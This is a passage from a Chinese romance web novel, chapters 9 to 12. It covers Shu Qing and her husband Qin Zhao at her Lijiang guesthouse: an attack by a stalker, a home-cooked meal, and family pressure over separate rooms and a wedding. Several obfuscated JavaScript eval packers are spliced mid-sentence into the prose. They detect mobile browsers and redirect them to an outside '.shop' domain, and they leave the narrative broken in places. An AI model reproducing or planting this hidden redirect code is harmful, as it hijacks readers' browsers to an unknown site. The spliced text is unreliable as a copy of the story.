她拿着棉签认真地用碘伏给秦兆的伤口消毒,然后开车带他去医院打疫苗。 古城风景极速掠过,舒晴却无心欣赏。 一路上,阳光不时地透过车窗撒进车内,金色的光芒格外耀眼。 秦兆安静地坐在副驾驶位,冷玉似的容颜被阳光镀上了一层金边,浅浅勾勒出棱角分明的脸部线条,他微微抿着唇,眸光落在专注开车的舒晴身上,一瞬不瞬的。 从医院打完疫苗出来,日头已经渐渐西斜,街道上店铺林立,游人熙攘,热闹非凡。 各色食馆里飘出阵阵香味,勾得舒晴食指大动,她用手肘戳了戳秦兆的肩膀:“哎,要不要在这边逛逛,顺便吃个饭?” “好。”秦兆没有异议。 于是舒晴带他去吃过桥米线,点好餐后选了个靠窗的位置坐好。 不一会儿,两份米线就被端上来了。 米线配菜有很多种,汤底看起来很浓郁,吃起来口感劲道爽滑。 舒晴一边吃一边瞧着对面的秦兆。 他细嚼慢咽,吃相斯文优雅,犹如在吃西餐一般。 “你以前应该没吃过米线吧?”舒晴问他。 秦兆摇摇头,说没有。 “你们这些资本家啊,从小被西方社会腐蚀,吃得都是些精贵食物,味道还不如街边小吃,等会儿我带你吃遍一条街,你就知道还是我们国家的美食好。” 舒晴吸溜了一大口米线,吃得小脸鼓鼓的,像只可爱的小仓鼠,长发别在耳后,显出莹白如玉的脸庞。 秦兆专注地凝视她,浓如墨的眼眸里带着自己都没察觉的情愫。 他几乎很少开口说话,一直默默听着舒晴讲。 “你不知道我以前想吃顿饱饭都难,还得饿着干活,动作慢了还要被那家里的母老虎打,所以现在我一点都不挑食,吃嘛嘛香。” 听她神色随意地谈起那段过往,秦兆内心有丝丝缕缕的痛意弥漫上来,他不敢想象,若是当初没有他带她逃离大山,她会是怎样一副光景。 那一年他从国外留学归来,并没有马上接手秦氏科技,而是在祖国西南一带独自旅行,途中意外受伤,被当地人救起,机缘巧合之下遇到了舒晴,但他并没有马上认出她。 彼时的他在当地人家养伤,偶尔会坐在院子外透透气,篱笆院子外总有小孩好奇地打量他这个村外人,舒晴也在其中。 她那时瘦瘦小小的,长发乱糟糟地扎起,一副营养不良的模样,身上穿着补满补丁的衣服,脚上穿的布鞋还露着脚趾,除了一张俏生生的能窥见日后美貌的小脸外,似乎和当地那些面黄肌瘦的小孩没什么区别。 她站在那群衣衫褴褛的小孩周围显得有些突兀,一双杏眼定定地瞧着他,身边还站着个模样极其出挑的俊朗少年。 他只是略微扫了一眼他们,目光如水过无痕般划过。 直到后来偶然间发现舒晴就是舒家失踪多年的女儿,所以才不顾阻拦带她离开。 “所以秦兆,我其实一直很感激你,这也是当初我愿意嫁给你的原因之一,没有你就没有我的现在,与其一直听周让给我画大饼,还不如破釜沉舟,掌握自己的命运。” 听到周让这个名字,秦兆眼底瞬间泛起汹涌的恨意,垂在腿侧的手握成拳捏紧,指骨泛白,他深吸一口气压下心中翻江倒海的情绪。 舒晴毫无所觉,又带着秦兆在街边吃了很多小吃,什么都统统塞进了自己的胃,直到月上中天,才摸着吃胀的肚子意犹未尽地回到民宿。 此时陆安安正坐在前台统 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13562543|142779||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 计数据,看到舒晴和秦兆一前一后地进来,眼里意味深长。 待秦兆上楼后,她就眯着眼对舒晴很肯定地说:“你们两个有奸情。” “什么奸情,我们是合法夫妻。”舒晴反驳道。 “呵呵,昨天叫老公,今天去约会,明天就该上|床了吧。” “你想什么呢。”舒晴无语了。 “我是想劝你别和秦兆接触太频繁,你可别忘了他有病,治不好的那种!” 陆安安清楚舒晴的为人,虽然舒晴现在对秦兆的态度是满不在乎的,但如果她一旦上心了,就会他掏心掏肺,恨不得倾其所有。 她实在不想她以后受到伤害。 “知道了知道了。”舒晴很敷衍的回答。 之前的前台阿莉请了几天假,于是这两天都是陆安安坐镇前台。 看到她眼底的黑眼圈,舒晴说:“这么晚了你去睡吧,这里我来看就行。” “行,那我先去睡了。”陆安安一边打着哈欠,一边起身往后院走。 “去吧。” “哦对了,晚一点可能会来一个客人,你注意接待。”陆安安回头说。 “嗯嗯。” 等她走后,舒晴坐在前台无聊地玩手机。 夜渐深,银白月光浅浅洒在庭院,宛若铺了一层霜雪,院子里的花木在风中微微摇曳,晚风徐徐吹来,舒晴忍不住拢了拢薄外套,看了眼没有丝毫动静的门口,又垂下眸子,细白的手指不断滑动着手机屏幕。 困意袭来,她捂着嘴打了个懒懒的哈欠,杏眸泛上一层清浅水光。 前门忽然传来‘嘭’的一声,声音在寂静的夜色中格外响,舒晴被吓了一大跳。 她猛地抬头,只见前方原本半掩的院门被撞开,一个体型彪悍的男人气势汹汹地走进来,他满脸横肉,眼神不善,手臂布满暗青色纹身,看起来就像一个□□老大。 舒晴有些不安地站起身,迎着男人阴狠的目光,硬着头皮问道:“您好先生,请问您有预定吗?” “你们这里是不是住着个叫刘妍的女人,你告诉我她在哪间房,我要上去找她!” 男人叫嚣着,凶神恶煞的模样让舒晴警惕起来。 “抱歉,我们这儿不能暴露客人隐私,您有事的话可以打她电话。”舒晴攥紧手机,打算有什么不对就立刻打电话报警。 “她跟那个奸夫一定就在这儿,你不告诉我,我就自己上去找她!” 9. 打架 男人说着就要冲上楼,舒晴连忙用力拽住他的手臂:“你不是这里的住客不能上楼,请你马上离开,不然我马上报警!” 男人大力甩开她的牵制,指着她的鼻子恶狠狠骂道:“别挡我的路,不然我连你一起打!” 见男人油盐不进,舒晴拿起手机果断报警。 没想到还没拨出,就被男人一掌拍掉,手机飞出了几米远,落到地上摔得四分五裂。 舒晴还没来得及惋惜,男人就一把拽紧她的长发:“你带我上楼找那对奸夫□□,我就放了你,要不然我先拿你开刀。” 舒晴疼得说不出话来,感觉头皮都要炸了。 她整个人被他粗暴地拽着头发走上楼,舒晴扒着墙不愿走,“放…放开我。” 男人见她还企图反抗,将她脑袋重重往墙上一撞,舒晴眼前顿时阵阵发黑,感觉有什么濡湿的东西缓缓流过发间。 刘铭易下楼刚好看到这一幕,舒晴额角鲜红的血迹格外刺目,他连忙冲过去拉开那个魁梧的男人。 “你放开她!” 可他力气太小,敌不过男人,反而被他甩到地上。 知道自己一个人可能打不过他,刘铭易忙大声喊叫秦兆的名字。 很快,听到动静的秦兆就赶来了,眼前场景让他目眦欲裂,漆黑眼底满是戾气,翻涌着滔天怒火。 而那个伤害舒晴的男人则目光挑衅地瞧着他,秦兆沉着脸冲过去,拳头狠狠砸向男人的脸上,男人险险避开,正想反击,就被秦兆一拳砸中眼眶,剧痛袭来,让他动作慢了一拍。 秦兆乘胜追击,一拳一拳砸在男人脸上身上,一副要将人打死的架势,看得刘铭易心惊胆战,却不敢上前拉架。 舒晴扶着墙微微喘气,觉得自己看到了一个不一样的秦兆。 谢天明和刘妍出来的时候,秦兆正将男人按在地上打。 他虽然没有男人壮,但是比他高,反应比他快,动作比他还狠,打得男人毫无还手之力。 刘妍看到地上的男人,吓得惊呼出声:“陈强?!” 见到谢天明身后的刘妍,鼻青脸肿的陈强咬牙切齿地喊道:“刘妍,你这个小贱人!” 看他还想站起来,秦兆毫不留情地重踹了一脚他的肋骨,骨裂的声音响起,陈强顿时痛苦地嚎叫起来,发出杀猪般的声音。 秦兆冷着脸看向刘铭易:“马上报警。” “好。”刘铭易赶紧掏出手机报警。 此时赶来的陆安安看到这一幕大惊失色,慌忙跑过去看舒晴的伤势,一脸担忧地问她:“晴晴,你还好吗?” 舒晴已经缓过来了,捂着头说:“还好,就是头有点疼。” 秦兆走过来,一个公主抱将舒晴抱起,然后对陆安安说:‘我抱着她,你开车送我们去附近的医院。’ 很快,陆安安就将他们送到当地医院。 舒晴只是轻微脑震荡,头上的血已经止住了,被一圈一圈地用白色绑带缠着。 此时她半躺在病床上,秦兆则坐在旁边空着的病床上,他从进了医院之后就没再说过一句话,眼睛直勾勾地盯着她,也不知道在想什么。 舒晴被他盯着很有压力,呐呐地说了声‘谢谢。’ 陆安安坐在她床边,满脸不虞。 “要不是我来得晚,我冲上去就给那个狗男人一个嘴巴子!” “你可别反过来被他打,那样又多一个伤号了。” 舒晴还是庆幸陆安安没和陈强正面对上,要不然以陆安安冲动的性子,肯定讨不到好果子吃。 这时病房虚掩的门被敲响了,谢天明和刘妍提着水果篮走进来,他们十分不好意思地看着舒晴。 “舒晴姐对不起,给你添麻烦了。”刘妍红着眼说。 在众人不解的目光中,她继续说:“那个陈强以前一直骚扰我,虽然我已经经明确拒绝他的表白了,但他还是一意孤行,天天在我们宿舍楼下等我,给我送这送哪的,我都没敢收。后来我和天明在校外租了房子一起住,他知道了以后就天天骚扰我们,说我背叛了他,污蔑我们是jian夫yin妇,为了躲他我们才来到了这里,没想到他竟然追来了,还把舒晴姐你打伤了,真的很抱歉!” 舒晴总算了解事情的前因后果了。 她安慰刘妍道:“这也不算你的错,你和我一样都是受害者。” “舒晴姐你感觉怎么样,头还疼吗?”谢天明问。 “不疼了,就是感觉有点饿。”舒晴笑着说。 她的话让病房里沉重的气氛一扫而空,刘妍自告奋勇地说:“那我去给你买点吃的。” 说着她就拉着谢天明出去了。 昨晚陈强已经因涉嫌寻衅滋事罪被扭送公安局了,因为舒晴伤得不是很重,所以他只是被拘留了五天。 但秦兆不会就这么轻易地放过陈强,他动用人脉摸清了他的背景,发现他还曾开设|赌|场聚众赌|博,如果事情调查清楚,那么陈强罪加一等,不在牢里待个两三年是出不来的。 经此一事,舒晴对秦兆也改观了不少。 秦兆这人看着面冷,但是还挺热心肠的,路见不平拔刀相助,她都不知道怎么报答 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13562544|142779||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他为好了。 出院后,舒晴私下问陆安安,她应该怎么回报秦兆比较好。 “这还不简单,以身相许呗。”陆安安笑嘻嘻地调侃。 舒晴哭笑不得推了一下她:“你出的什么馊主意。” “人家有钱有势,什么都不缺,就缺一个能暖床的女人。” “你怎么为他着想,那你去呗。” “你才是他老婆,我又不欠他的。”陆安安说完就抱着猫走了。 最后舒晴决定亲自下厨,为秦兆做几道小菜,聊表心意。 在此之前,她悄悄跟刘铭易打听了秦兆喜欢吃什么菜。 刘铭易原本想说她做的秦总都会喜欢,但看到她兴致勃勃的样子,还是具体说了几道秦兆常吃的菜,甚至还在厨房帮她打下手。 期间舒晴一边备菜,一边和他聊天。 得知刘铭易竟然要陪秦兆在这里长住一年,舒晴有些疑惑地问:“你和他为什么要在这里住那么久?” “秦总这几年天天在工作,都没怎么休息过,最近不知怎么的突然想休息那么久,反正我是他秘书兼助理,他在哪我就在那,照顾他生活起居,帮他处理一些公司事务什么的。” 舒晴若有所思地点点头,想到秦兆那个病,觉得自己仿佛明白了什么,遂不再多问。 自从逃离了大山,从那个地狱般的家解脱出来,舒晴已经很多年没做过菜了,一时有些生疏。 切菜都切不利索,炒肉的时候火开大了,油飚得到处都是,舒晴吓得拿起锅盖挡脸,接着伸长手把火稍微关小了一点。 一旁洗菜的刘铭易心惊胆战地看着,恨不得去拿着灭火器在身边随时准备灭火。 “舒晴姐,你行不行啊,要不我们别做了吧。” “行的行的,你好好看着吧。”舒晴一边说,一边手忙脚乱炒菜。 过了一会儿,刘铭易眼睁睁看着她炒出了一盘焦黑的红烧排骨。 “来,你尝尝好不好吃。”舒晴递了一双筷子给他。 刘铭易接过筷子,欲言又止。 在她饱含期待的目光,他夹起一块排骨放进嘴里,嚼了两口,表情变得有些一言难尽。 “怎么了,不好吃吗?” 舒晴说着,自己先尝了一块,很快就皱眉吐了出来:“好咸!我盐放多了。” 她猛灌了几口水,才把嘴里那种又焦又咸的味道冲淡。 “没事儿,下一次我一定能做好。”舒晴给自己打气。 饭点快过的时候,舒晴才做好几道勉强能入口的菜,给秦兆送上去。 10. 惊喜 刘铭易之前已经给秦兆通风报信了,所以秦兆一直没吃饭,坐在屋子里等他们。 舒晴进来的时候,秦兆正坐在茶几上喝茶,虽然已经等了很久了,但他并没有表现出不耐烦,漆黑的眼睛静静地瞧着她。 “你帮了我那么多,我一直很感谢你,所以给你做了几道菜,你快尝尝。” 舒晴将几碟菜一一摆在他面前。 她做了一道红烧排骨、香椿炒蛋还有一小盘青菜,色泽丰富,闻起来香味扑鼻。 秦兆拿起筷子吃了一小块炒蛋,慢慢品尝。 “好吃吗?”舒晴问 秦兆点点头。 舒晴笑了,眼睛水汪汪的,如同小鹿般灵动。 秦兆多看了几眼,又默默垂下视线。 “你吃了吗?”他忽然问。 舒晴一愣,她当时光顾着做菜了,但还是下意识地回答:“吃、吃了。” 秦兆明显不信,他又问刘铭易:“你们吃了吗。” 刘铭易也结结巴巴地说吃了。 秦兆眸子瞬间泛凉,冷声吩咐他去厨房再拿两双筷子来。 刘铭易只好讪讪地去了,房间里只剩舒晴和秦兆两人。 “你对他那么凶干嘛,小刘人挺好的,刚才在厨房一直在帮我。”舒晴说。 秦兆却说:“我不喜欢撒谎的人。” “也包括我吗?”舒晴眨眨眼睛,长睫翩跹,像一只狡黠的孤狸。 秦兆没再回答,默默吃菜。 刘铭易不在,舒晴也不知道和秦兆聊什么。 她撑着下巴随意望向别处,发现橱台上有不少瓶瓶罐罐,有中文名的,也有英文名的。 舒晴便指着这一堆东西问秦兆:“那些都是什么东西啊?” “药。” “......什么药?” “强身健体的。”秦兆淡淡地说。 “你看起来那么壮,打得那个陈强毫无还手之力,还需要强身健体?” 到这时候了秦兆竟然还打算瞒着她,难道要死了才告诉她吗,舒晴有些生气,正想接着质问他,却见到刘铭易敲门进来了。 他递给舒晴一双筷子,然后说:“秦总,舒晴姐你们慢慢吃,我去附近走走。” 刘铭易明显不想当电灯泡,很快就离开了。 舒晴打算吃完再和秦兆算账。 饭吃得差不多了,看秦兆放下筷子,舒晴就问他:“你是不是对我隐瞒了什么?” 秦兆用餐巾纸慢慢擦拭唇角,动作优雅衿贵,听到她的话,掀眸睨了她一眼:“你指哪方面?” “我听说你得了脑瘤。”舒晴直言道。 “你听谁说的。”秦兆的眸光不带半点起伏。 “你别管我听谁说的,你就说是不是吧。” “你是怕我死了吗?”秦兆漆黑的眼眸如深潭般盯着她。 “废话,你死了我就是寡妇了。” “这不好吗,你自由了。” “.......” 他说的话舒晴无法反驳,她就是这么想的。 “我不知道你为什么要瞒着我。”舒晴说。 “你以后就知道了。” “什么意思?” 秦兆却起身打开门,然后淡淡看着她说:“谢谢你的午餐,但你该走了。” 舒晴深吸一口气,努力压下心中的郁气,看也不看秦兆一眼走出门,还顺手帮他‘嘭’的一声关上,声音震得吓跑了廊道上晒太阳的两只猫。 真是好心没好报,今天这顿饭她就当是喂了狗! * 这一天舒晴和陆安安从花鸟市场买了些盆栽和多肉植物回来,打算再装点装点民宿。 一进大堂,就在前台见到了两个不速之客。 前台小妹阿莉正在给办理他们登记。 “嗨阿晴,好久不见。”舒薇禾摘下墨镜,笑着和她打招呼。 路齐铭眉眼桀骜,懒懒散散地倚靠着前台,手里把玩着墨镜腿,正含笑瞧着她:“舒晴看到我有没有很惊喜?” 舒晴没理他,直接问舒薇禾:“你怎么来了?” “我休了年假,想找个地方玩玩,想到你在丽江就来了,”舒薇禾说,“而且爸妈不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13562545|142779||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放心你,也想让我看看你在这边过得怎么样。” 舒晴才不信她的鬼话。 虽然不是很想见到他们,但也不能明着将他们赶走,以免他们反咬一口,作出有损民宿声誉的事情来。 很快舒薇禾和路齐铭办好了入住手续。 上楼之前,舒薇禾忽然回头说:“哦对了阿晴,来之前我见到周让了,他一直在找你,我就把你这里的地址给他了,你不会怪我吧?” 说到最后,她忍不住扬起了幸灾乐祸的笑。 周让要是找来了,舒晴还能在这里安安稳稳地过好日子吗? 舒晴连她那点小小的股份都不赞成给,她凭什么让她好过。 舒晴太阳穴突突直跳,咬着牙问:“你没让他见到我爸妈吧?” “没有,我怕他被打死。” 走在后面的路齐铭看着舒晴说:“知道周让那狗东西对你心怀不轨,我特意来这里当你的护花使者,你千万别以为我是和舒薇禾一起来的,我早就和她提分手了,是她一直跟着我。” “路齐铭你不说话没人把你当哑巴!”舒薇禾吃力地提着大行李箱,气呼呼地说。 路齐铭满不在乎,轻松越过她率先上楼。 陆安安在一边焦虑地听着,等他们走之后,赶紧问舒晴:“周让来了,不会对你不利吧?” “不会,他要敢再像以前一样,我就让他再做三年牢。” 话虽然说得很硬气,但舒晴还是有些忧虑,不知道周让经过这三年的劳改有没有变得好一点。想起他对她的偏执和疯狂,舒晴在心里默默叹了口气。 她对周让的感情很复杂,在过去很长一段时间里,他们是彼此依偎的姐弟,不是亲人胜似亲人。 在那个暗无天日的大山深处,唯有他是理解她、关心她、保护她的人,没有他,她不敢想象自己会遭到怎样非人的对待。 可也正是他,将她后来的生活搅得天翻地覆。 舒晴现在虽然畏惧他,但也对他始终狠不下心来,只能有点远离多远,希望永不再见。 但事情总是事与愿违...... 11. 委屈 这几天客人不多,舒晴得空就去三楼观景台坐着,太阳太大,她就支了个遮阴棚在底下看漫画。 正看得上头之际,舒薇禾捧着茶饮慢悠悠走到她面前坐下。 “阿晴,你这里的生活真是惬意啊。” 舒晴没接话,自顾自地看书。 “这些年你对我爱答不理的,是还在记恨路齐铭做了我男朋友吗?”舒薇禾靠向椅背,优雅地翘起二郎腿。 “怎么会。”舒晴终于抬眼看她,笑着说,“我其实挺感激你的,替我回收垃圾也算功德一件,你们那么配,不继续在一起可惜了。” 瞧着舒晴云淡风轻的大度模样,舒薇禾咬了咬牙,说:“你只会嘴上逞强罢了,背地里还不是恨我抢你对象抢你最爱的父母?” 舒晴不耐烦地合上书:“你到底想说什么?” 见她神色变了,舒薇禾微微勾唇,将茶杯搁在茶几上,“我在这里住了几天,发现你和秦先生都是分房睡,怎么,你们关系不好吗?” “关你什么事。” “当然关我的事,我来这儿是受爸妈嘱托,看你和秦先生过得如何的。”舒薇禾觑了眼舒晴冷淡的神色,拖腔拽调地说:“看样子,过得不怎么样嘛。” “所以呢?”舒晴漫不经心地继续翻页,“是不是又方便你撬墙角了。” 舒薇禾顿时像被踩中尾巴的猫般反驳道:“我才不是这个意思。” “既然如此你就别瞎操心了。” “真是好心没好报,”舒薇禾黑着脸站起身,“我走了。” “好走不送。” * 晚上舒晴洗完澡,敷着面膜坐在床上,细白的手指在视频网站列表划拉着,想找部剧追追,没想到接到了刘雅梅的视频电话。 “妈,这么晚了找我有什么事儿吗?” 因敷着着面膜,所以她的声音听起来有些黏糊不清。 刘雅梅神色有些严肃:“你转换一下镜头,我看看你住的环境怎么样。” “哦。” 舒晴没有多想,依言照做了。 她一边移动手机一边说:“妈,你看这装修环境不错吧,都是我和安安亲手设计的,你有时间可以和爸过来.....” “阿兆呢,他怎么不在房间,你们没住一起?”刘艳梅打断她的话。 “啊?”舒晴动作一滞,缓慢地眨了眨眼,切回镜头,对着刘雅梅那张肃然的脸,正欲回答,就听她继续质问道:“难道真像薇薇说得那样,你和阿兆一直分房睡?” 舒薇禾这个爱打小报告的小人。 舒晴暗暗捏紧了拳头,深吸一口气,辩解道:“妈,我和他还不是很熟,当然是先分房睡,再慢慢培养感情。” “你别找这些理由敷衍我们,你们一直分房睡如何培养感情?你以为阿兆不远千里去找你,是陪你玩过家家吗?”不知何时,舒国强也出现在镜头中,语气有些严厉。 舒晴见他沉着脸,眼神责备,心里顿时有些小委屈,半真半假地说:“爸妈,我也努力了,他被猫咬我陪他去打针,带他去逛街,做菜给他吃,可他始终对我冷冷淡淡的,我在他房中待久了他就会赶我走,我真不知道该怎么讨好他了,爸妈,你们教教我吧......” 说到最后她的声音适当地带上了哽咽。 她爸妈果然一脸心疼,纷纷安慰她,恨不得连夜飞过来将她搂在怀里好好呵护。 舒晴低头抹了抹不存在的眼泪,佯装坚强道:“爸、妈,我会继续努力讨好他的,争取早日让你们抱上大外孙。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13562546|142779||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 舒国强的立场彻底站在了她这边,疾言厉色地说:“什么讨好!不必再讨好他,没想到秦兆这臭小子娶到手就不珍惜,我非得好好批他一顿。” 挂断电话后舒晴松了一口气,十分佩服自己的演技,心想要是她的民宿倒闭了,说不定还可以进军演艺圈拿个影后。 * 不知道舒国强对秦兆说了什么,第二天下午,秦兆忽然找上舒晴。 “听说你昨晚哭的很伤心,因为我对你太冷淡?”他眼里有怀疑,还有一丝难以名状的情绪。 “我那是假哭,不那样说,他就要我们同房睡了,这你也愿意?”舒晴说。 秦兆没说话。 “反正我把咱们分房睡的理由推给你了,虽然有些不地道,但是为了我好,这个锅还是你背吧。” 舒晴余光瞥见二楼廊道上的舒薇禾有意无意地看向他们,便踮起脚尖凑到秦兆耳边说道:“还有啊,舒薇禾看你的眼神不太对劲,虽然我不介意你找小三小四,但唯独她不行,知道吗?” 舒晴温热的气息萦绕在他耳畔,密密麻麻的痒意从心里一路蔓延到喉间,以至于她说了什么,秦兆完全没听清。 他们实在离得太近,秦兆滚了滚喉结,克制着手握成拳,退后一步和舒晴拉开距离。 舒晴以为他要走,一把抓住他骨节凸起的手腕,“你还没答应我呢,不许走。” “答应什么?” “答应我,以后和舒薇禾保持距离。”舒晴放开他的手,不耐地重复道。 手腕间的温度消失,秦兆不禁有些怅然若失,他微微敛眸:“知道了,还有别的事情吗?” “没了。”见他答应了,舒晴立马转身摆摆手离开。 “等等。”秦兆忽然叫住她。 12. 冷落 “等等。”秦兆忽然叫住她。 舒晴回头,皱着眉头等他下文。 “下个月15号是奶奶80大寿,到时候你和我回去一趟吧。” “好。”舒晴没意见,她想顺便回京市处理一些事情。 “你知道奶奶喜欢什么吗,我看看送她什么礼物好。” “你送什么她都喜欢。”秦兆说。 就知道他给不出什么有用的意见,舒晴意兴阑珊,说:“那我自己想想吧。” 秦兆点点头,从西装口袋里拿出一张黑卡递给她,淡淡地说:“这个你拿着,想买什么就买什么,密码是你生日。” 舒晴杏眸一下子亮了,连带着看秦兆也顺眼了许多,虽然她不缺钱,但也不会嫌钱多,于是她接过来,笑嘻嘻恭维道:“老公,你真好。” 明知她对他的称呼是不走心的,可秦兆心底还是不可抑止地泛起一丝欢悦和满足,唇边流露出若有若无的笑意。 阳光洒在他清冷的眉宇间,让他看上去竟有些温柔。 舒晴有一瞬间看呆了。 直到她在秦兆深邃的瞳孔里看到自己傻乎乎的倒影才回过神来,在心里唾骂一把自己色迷心窍后,舒晴生硬别开脸,“我先走了。” * 这两天天气越来越热,晚上的蚊子也多了起来,舒晴贪凉没关窗户,腿上被咬了好几个大包,她正给自己腿上抹药,秦兆奶奶的电话就来了。 舒晴单手接通:“喂奶奶......” “晴晴啊,这么晚了奶奶没打扰到你吧?” “没有没有,我一般睡挺晚的。”舒晴关心道,“奶奶您最近身体怎么样啊?” “没什么大毛病,就是想你和阿兆了。”秦奶奶紧接着又小心翼翼试探道,“你们最近怎么样啊?” “我们挺好的。” “晴晴,你可别跟奶奶说谎,我听你爸说秦兆这臭小子不想和你同房睡,一直冷落你,”秦奶奶气呼呼地说,“他之前大老远跑去丽江找你,我还以为他开窍了呢,没想到他还是这个臭德行,我等会就去骂他一顿。” 舒晴扶额哀叹,总算知道什么叫搬起石头砸自己的脚了。 她绞尽脑汁地圆谎:“奶奶,其实都是误会,秦兆是因为睡觉打呼噜,不想影响我睡眠才暂时分房睡的...而且他还给了我一张银行卡,让我想买什么买什么,真的,他现在对我挺好的。” “那这臭小子还算有救,给你钱花那是应该的,阿兆从小性子冷淡,又不善表达,他要是有什么做的不对的地方,你一定要对我说,我好好骂骂他,让他改。”秦奶奶说。 被秦奶奶这么拥护着,舒晴有些感动,乖乖答应道:“我知道了奶奶。” 秦奶奶顿了一会儿又说:“那你们计划什么办婚礼啊?” “奶奶,婚礼不用办,我嫌麻烦,下个月我和秦兆回北京,咱们两家人简单吃个饭就好了。” “这可是你们的人生大事,婚礼一定要办,而且要大半特办,知道你们小两口忙,奶奶替你们操办。” “奶奶,真不用那么麻烦。”舒晴一脸头大。 但是秦奶奶越说越兴奋,完全活在自己的畅想里。 “我已经请人看日子了,婚礼策划师也在筛选中,一定给你打造一个完美的世纪婚礼,绝不会让你受半分委屈。” 她老人家一片诚心,舒晴也不好直接打消她的积极性,只好默认了。 她和秦兆证都领了,还怕办什么婚礼吗,反正她对这个婚姻也不抱什么期待,到时候走个过场就行了。 最后秦奶奶又嘱托她和秦兆好好培养感情,凡事多沟通,才意犹未尽地挂断电话。 舒晴松了口气,想了想又点开秦兆的微信,给他发了一条消息。 【奶奶坚持要给我们办婚礼,你是怎么想的?】 秦兆秒回:【早点办好。】 【为什么?】 秦兆发来一条语音:【商业联姻,当然要广而告之。】 声音低沉清冷,听不出丝毫情绪。 不愧是利益至上的资本家。 舒晴面无表情输入一行字:【婚礼我想搞个有新意的,咱俩可以反串新郎新娘,到时候啊新闻头版全是我们,热搜爆定了,集团股票也一定能蹭蹭蹭往上涨。】 【别闹】 简简单单的两个字,舒晴已经能想象到秦兆在手机那头既无奈又无语的表情了。 她嘿嘿窃笑,又继续发:【我是认真的,人生唯一一次的婚礼你都不能满足我吗?】 末了,还附上了一个可怜兮兮的表情包。 这次,秦兆隔了好久才回她:【如果你不是开玩笑的话,我愿意配合。】 舒晴没想到他竟然同意,有些惊讶,瞧着他这不似作伪的回复,她原本想继续逗弄下去的想法偃旗息鼓,联想到他可能时日无多,自己还想让他做些有损形象的事情,顿时罪恶感萌生。 避免他真的当真,舒晴给他发道:【跟你开玩笑的,婚礼的事往简单里办就好。】 【都听你的。】秦兆很快回复。 间隔一段时间,见舒晴没再发消息过来,秦兆以为她要睡了,便发了个晚安好梦的表情包,舒晴在按灭手机前一秒看到,没料到他这么个古板无趣的人也会发表情包,心下好笑又复杂,投桃报李,也给他回了个晚安的表情包。 夜深了,舒晴把手机搁在床头柜,然后关灯睡觉,半梦半醒间,忽然被一道刺耳的尖叫声吵醒,她在黑暗中倏地睁开眼,安静等了一会儿也没听到别的声响,以为是猫叫便没在意,只是被吵醒后睡眠质量大打折扣,怎么睡都睡不好。 次日,舒晴顶着两个黑眼圈来到餐厅吃早餐,她坐的是靠窗的位置,可以看到外面赏心悦目的花花草草。 早餐吃到一半的时候,对面忽然坐下个人,舒晴抬眸,发现竟是路齐铭这货,顿时胃口全无,她扫了眼餐厅空荡荡的桌椅,略显不满地说:“那么多空位子你不坐,怎么偏偏坐我这边。” “你这里风景好啊。”路齐铭笑嘻嘻的。 舒晴无语地翻了个白眼,不想搭理他。 路齐铭丝毫不在意,慢悠悠喝了一口牛奶,然后说:“这么不想见到我,你不会是还在记恨我吧。” “我才懒得记恨你,”舒晴语气冷淡,“只是不想看到你罢了。” “我是有事找你。” 舒晴没理,埋头继续用餐,想吃完赶紧走人。 “昨晚我看到了个有趣的事,你想不想知道?”路齐铭傾身凑近,看起来神秘兮兮的。 舒晴靠回椅背,神色不耐道,“不想,你坐别的地方去,别影响我胃口。” “是关于你新晋老公秦兆的。” 舒晴来了点兴趣,“哦,那说来听听吧。” “昨晚半夜舒薇禾敲响了秦兆的房门,”他直勾勾盯着她,话语里带着些许玩味,“你猜后来怎么着?” 舒晴眼都不眨一下,淡然视之,等着他的下文。 看她这副波澜不兴的模样,路齐铭也不卖关子了,兴致勃勃地说:“秦兆一开门她就直接扑进他怀里,拉到拉不开,秦兆就半推半让她进了门,舒薇禾在里面待了很久才出来。” 他说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 